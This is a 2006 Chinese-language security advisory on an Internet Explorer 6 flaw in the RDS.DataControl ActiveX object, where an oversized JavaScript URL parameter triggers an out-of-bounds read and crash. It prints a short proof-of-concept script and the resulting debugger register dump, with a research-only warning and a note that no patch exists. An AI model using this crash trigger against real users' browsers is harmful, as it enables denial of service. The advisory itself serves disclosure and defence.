发布日期：2006-07-06
更新日期：2006-07-10

受影响系统：

Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0

描述：

---

BUGTRAQ  ID: 18900

Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。

Internet Explorer的RDS.DataControl对象在处理JavaScript中的URL参数时存在漏洞，远程攻击者可能利用此漏洞导致IE崩溃。

Internet Explorer的RDS.DataControl对象使用OLE32.dll中的SysAllocStringLen例程拷贝JavaScript的URL参数。在Windows 2000上，这可能导致无效的长度计算，读取页面以外的内存。在访问破坏之前可能会出现某种形式的堆破坏，但由于堆中没有SEH指针，因此很难利用。

<*来源：H D Moore （hdm@metasploit.com）
  
  链接：http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

var a = new ActiveXObject('RDS.DataControl');
var b = "X";
while (b.length < (1024*256)) a.URL = (b+=b);

Demonstration

eax=001be00c ebx=00005a70 ecx=00000231
edx=00005a70 esi=00191000 edi=001c31b8
eip=779d927a esp=0012b1b4 ebp=7c59c147
OLEAUT32!SysAllocStringLen+0x7a:
779d927a f3a5 rep movsd ds:00191000=???????? es:001c31b8=00580058

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/windows/ie/default.asp

浏览次数：3230
严重程度：0（网友投票）